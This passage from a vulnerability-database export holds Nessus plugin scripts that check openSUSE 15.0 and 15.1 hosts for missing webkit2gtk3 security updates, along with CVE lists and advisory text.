script_summary(english:\"Check for the openSUSE-2019-2591 patch\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote openSUSE host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"This update for webkit2gtk3 to version 2.26.2 fixes the following\nissues :\n\nWebkit2gtk3 was updated to version 2.26.2 (WSA-2019-0005 and\nWSA-2019-0006, bsc#1155321 bsc#1156318) \n\nSecurity issues addressed :\n\n - CVE-2019-8625: Fixed a logic issue where by processing\n maliciously crafted web content may lead to universal\n cross site scripting. \n\n - CVE-2019-8674: Fixed a logic issue where by processing\n maliciously crafted web content may lead to universal\n cross site scripting.\n\n - CVE-2019-8707: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8719: Fixed a logic issue where by processing\n maliciously crafted web content may lead to universal\n cross site scripting.\n\n - CVE-2019-8720: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8726: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8733: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8735: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8763: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8768: Fixed an issue where a user may be unable\n to delete browsing history items.\n\n - CVE-2019-8769: Fixed an issue where a maliciously\n crafted website may reveal browsing history.\n\n - CVE-2019-8771: Fixed an issue where a maliciously\n crafted web content may violate iframe sandboxing\n policy.\n\n - CVE-2019-8710: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8743: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8764: Fixed a logic issue where by processing\n maliciously crafted web content may lead to universal\n cross site scripting.\n\n - CVE-2019-8765: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8766: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8782: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8783: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8808: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8811: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8812: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8813: Fixed a logic issue where by processing\n maliciously crafted web content may lead to universal\n cross site scripting.\n\n - CVE-2019-8814: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8815: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8816: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8819: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8820: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8821: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8822: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8823: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\nThis update was imported from the SUSE:SLE-15:Update update project.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1155321\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1156318\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\"Update the affected webkit2gtk3 packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-8816\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libjavascriptcoregtk-4_0-18\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libjavascriptcoregtk-4_0-18-32bit\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libjavascriptcoregtk-4_0-18-32bit-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libjavascriptcoregtk-4_0-18-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libwebkit2gtk-4_0-37\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libwebkit2gtk-4_0-37-32bit\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libwebkit2gtk-4_0-37-32bit-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libwebkit2gtk-4_0-37-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libwebkit2gtk3-lang\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:typelib-1_0-JavaScriptCore-4_0\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:typelib-1_0-WebKit2-4_0\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:typelib-1_0-WebKit2WebExtension-4_0\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:webkit-jsc-4\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:webkit-jsc-4-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:webkit2gtk-4_0-injected-bundles\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:webkit2gtk-4_0-injected-bundles-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:webkit2gtk3-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:webkit2gtk3-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:webkit2gtk3-minibrowser\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:webkit2gtk3-minibrowser-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:15.1\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/18\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/11/30\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/12/03\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE15\\.1)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"15.1\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ \"^(i586|i686|x86_64)$\") audit(AUDIT_ARCH_NOT, \"i586 / i686 / x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE15.1\", reference:\"libjavascriptcoregtk-4_0-18-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"libjavascriptcoregtk-4_0-18-debuginfo-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"libwebkit2gtk-4_0-37-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"libwebkit2gtk-4_0-37-debuginfo-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"libwebkit2gtk3-lang-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"typelib-1_0-JavaScriptCore-4_0-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"typelib-1_0-WebKit2-4_0-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"typelib-1_0-WebKit2WebExtension-4_0-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"webkit-jsc-4-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"webkit-jsc-4-debuginfo-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"webkit2gtk-4_0-injected-bundles-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"webkit2gtk-4_0-injected-bundles-debuginfo-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"webkit2gtk3-debugsource-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"webkit2gtk3-devel-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"webkit2gtk3-minibrowser-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"webkit2gtk3-minibrowser-debuginfo-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", cpu:\"x86_64\", reference:\"libjavascriptcoregtk-4_0-18-32bit-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", cpu:\"x86_64\", reference:\"libjavascriptcoregtk-4_0-18-32bit-debuginfo-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", cpu:\"x86_64\", reference:\"libwebkit2gtk-4_0-37-32bit-2.26.2-lp151.2.9.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", cpu:\"x86_64\", reference:\"libwebkit2gtk-4_0-37-32bit-debuginfo-2.26.2-lp151.2.9.1\") ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"libjavascriptcoregtk-4_0-18 / libjavascriptcoregtk-4_0-18-debuginfo / etc\");\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-24T14:32:34", "description": "This update for webkit2gtk3 to version 2.26.2 fixes the following issues :\n\nWebkit2gtk3 was updated to version 2.26.2 (WSA-2019-0005 and WSA-2019-0006, bsc#1155321 bsc#1156318) \n\nSecurity issues addressed :\n\n - CVE-2019-8625: Fixed a logic issue where by processing maliciously crafted web content may lead to universal cross site scripting. \n\n - CVE-2019-8674: Fixed a logic issue where by processing maliciously crafted web content may lead to universal cross site scripting.\n\n - CVE-2019-8707: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8719: Fixed a logic issue where by processing maliciously crafted web content may lead to universal cross site scripting.\n\n - CVE-2019-8720: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8726: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8733: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8735: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8763: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8768: Fixed an issue where a user may be unable to delete browsing history items.\n\n - CVE-2019-8769: Fixed an issue where a maliciously crafted website may reveal browsing history.\n\n - CVE-2019-8771: Fixed an issue where a maliciously crafted web content may violate iframe sandboxing policy.\n\n - CVE-2019-8710: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8743: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8764: Fixed a logic issue where by processing maliciously crafted web content may lead to universal cross site scripting.\n\n - CVE-2019-8765: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8766: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8782: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8783: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8808: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8811: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8812: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8813: Fixed a logic issue where by processing maliciously crafted web content may lead to universal cross site scripting.\n\n - CVE-2019-8814: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8815: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8816: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8819: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8820: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8821: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8822: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\n - CVE-2019-8823: Fixed multiple memory corruption issues where by processing maliciously crafted web content may lead to arbitrary code execution.\n\nThis update was imported from the SUSE:SLE-15:Update update project.", "cvss3": {}, "published": "2019-12-03T00:00:00", "type": "nessus", "title": "openSUSE Security Update : webkit2gtk3 (openSUSE-2019-2587)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8551", "CVE-2019-8558", "CVE-2019-8559", "CVE-2019-8563", "CVE-2019-8625", "CVE-2019-8674", "CVE-2019-8681", "CVE-2019-8684", "CVE-2019-8686", "CVE-2019-8687", "CVE-2019-8688", "CVE-2019-8689", "CVE-2019-8690", "CVE-2019-8707", "CVE-2019-8710", "CVE-2019-8719", "CVE-2019-8720", "CVE-2019-8726", "CVE-2019-8733", "CVE-2019-8735", "CVE-2019-8743", "CVE-2019-8763", "CVE-2019-8764", "CVE-2019-8765", "CVE-2019-8766", "CVE-2019-8768", "CVE-2019-8769", "CVE-2019-8771", "CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823"], "modified": "2022-05-25T00:00:00", "cpe": ["p-cpe:/a:novell:opensuse:libjavascriptcoregtk-4_0-18", "p-cpe:/a:novell:opensuse:libjavascriptcoregtk-4_0-18-32bit", "p-cpe:/a:novell:opensuse:libjavascriptcoregtk-4_0-18-32bit-debuginfo", "p-cpe:/a:novell:opensuse:libjavascriptcoregtk-4_0-18-debuginfo", "p-cpe:/a:novell:opensuse:libwebkit2gtk-4_0-37", "p-cpe:/a:novell:opensuse:libwebkit2gtk-4_0-37-32bit", "p-cpe:/a:novell:opensuse:libwebkit2gtk-4_0-37-32bit-debuginfo", "p-cpe:/a:novell:opensuse:libwebkit2gtk-4_0-37-debuginfo", "p-cpe:/a:novell:opensuse:libwebkit2gtk3-lang", "p-cpe:/a:novell:opensuse:typelib-1_0-javascriptcore-4_0", "p-cpe:/a:novell:opensuse:typelib-1_0-webkit2-4_0", "p-cpe:/a:novell:opensuse:typelib-1_0-webkit2webextension-4_0", "p-cpe:/a:novell:opensuse:webkit-jsc-4", "p-cpe:/a:novell:opensuse:webkit-jsc-4-debuginfo", "p-cpe:/a:novell:opensuse:webkit2gtk-4_0-injected-bundles", "p-cpe:/a:novell:opensuse:webkit2gtk-4_0-injected-bundles-debuginfo", "p-cpe:/a:novell:opensuse:webkit2gtk3-debugsource", "p-cpe:/a:novell:opensuse:webkit2gtk3-devel", "p-cpe:/a:novell:opensuse:webkit2gtk3-minibrowser", "p-cpe:/a:novell:opensuse:webkit2gtk3-minibrowser-debuginfo", "cpe:/o:novell:opensuse:15.0"], "id": "OPENSUSE-2019-2587.NASL", "href": "https://www.tenable.com/plugins/nessus/131533", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2019-2587.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(131533);\n script_version(\"1.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/25\");\n\n script_cve_id(\n \"CVE-2019-8551\",\n \"CVE-2019-8558\",\n \"CVE-2019-8559\",\n \"CVE-2019-8563\",\n \"CVE-2019-8625\",\n \"CVE-2019-8674\",\n \"CVE-2019-8681\",\n \"CVE-2019-8684\",\n \"CVE-2019-8686\",\n \"CVE-2019-8687\",\n \"CVE-2019-8688\",\n \"CVE-2019-8689\",\n \"CVE-2019-8690\",\n \"CVE-2019-8707\",\n \"CVE-2019-8710\",\n \"CVE-2019-8719\",\n \"CVE-2019-8720\",\n \"CVE-2019-8726\",\n \"CVE-2019-8733\",\n \"CVE-2019-8735\",\n \"CVE-2019-8743\",\n \"CVE-2019-8763\",\n \"CVE-2019-8764\",\n \"CVE-2019-8765\",\n \"CVE-2019-8766\",\n \"CVE-2019-8768\",\n \"CVE-2019-8769\",\n \"CVE-2019-8771\",\n \"CVE-2019-8782\",\n \"CVE-2019-8783\",\n \"CVE-2019-8808\",\n \"CVE-2019-8811\",\n \"CVE-2019-8812\",\n \"CVE-2019-8813\",\n \"CVE-2019-8814\",\n \"CVE-2019-8815\",\n \"CVE-2019-8816\",\n \"CVE-2019-8819\",\n \"CVE-2019-8820\",\n \"CVE-2019-8821\",\n \"CVE-2019-8822\",\n \"CVE-2019-8823\"\n );\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/06/13\");\n\n script_name(english:\"openSUSE Security Update : webkit2gtk3 (openSUSE-2019-2587)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote openSUSE host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"This update for webkit2gtk3 to version 2.26.2 fixes the following\nissues :\n\nWebkit2gtk3 was updated to version 2.26.2 (WSA-2019-0005 and\nWSA-2019-0006, bsc#1155321 bsc#1156318) \n\nSecurity issues addressed :\n\n - CVE-2019-8625: Fixed a logic issue where by processing\n maliciously crafted web content may lead to universal\n cross site scripting. \n\n - CVE-2019-8674: Fixed a logic issue where by processing\n maliciously crafted web content may lead to universal\n cross site scripting.\n\n - CVE-2019-8707: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8719: Fixed a logic issue where by processing\n maliciously crafted web content may lead to universal\n cross site scripting.\n\n - CVE-2019-8720: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8726: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8733: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8735: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8763: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8768: Fixed an issue where a user may be unable\n to delete browsing history items.\n\n - CVE-2019-8769: Fixed an issue where a maliciously\n crafted website may reveal browsing history.\n\n - CVE-2019-8771: Fixed an issue where a maliciously\n crafted web content may violate iframe sandboxing\n policy.\n\n - CVE-2019-8710: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8743: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8764: Fixed a logic issue where by processing\n maliciously crafted web content may lead to universal\n cross site scripting.\n\n - CVE-2019-8765: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8766: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8782: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8783: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8808: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8811: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8812: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8813: Fixed a logic issue where by processing\n maliciously crafted web content may lead to universal\n cross site scripting.\n\n - CVE-2019-8814: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8815: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8816: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8819: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8820: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8821: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8822: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\n - CVE-2019-8823: Fixed multiple memory corruption issues\n where by processing maliciously crafted web content may\n lead to arbitrary code execution.\n\nThis update was imported from the SUSE:SLE-15:Update update project.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1155321\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1156318\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected webkit2gtk3 packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-8816\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/18\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/11/30\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/12/03\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libjavascriptcoregtk-4_0-18\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libjavascriptcoregtk-4_0-18-32bit\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libjavascriptcoregtk-4_0-18-32bit-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libjavascriptcoregtk-4_0-18-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libwebkit2gtk-4_0-37\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libwebkit2gtk-4_0-37-32bit\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libwebkit2gtk-4_0-37-32bit-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libwebkit2gtk-4_0-37-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libwebkit2gtk3-lang\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:typelib-1_0-JavaScriptCore-4_0\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:typelib-1_0-WebKit2-4_0\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:typelib-1_0-WebKit2WebExtension-4_0\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:webkit-jsc-4\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:webkit-jsc-4-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:webkit2gtk-4_0-injected-bundles\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:webkit2gtk-4_0-injected-bundles-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:webkit2gtk3-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:webkit2gtk3-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:webkit2gtk3-minibrowser\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:webkit2gtk3-minibrowser-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:15.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"SuSE Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE15\\.0)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"15.0\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ 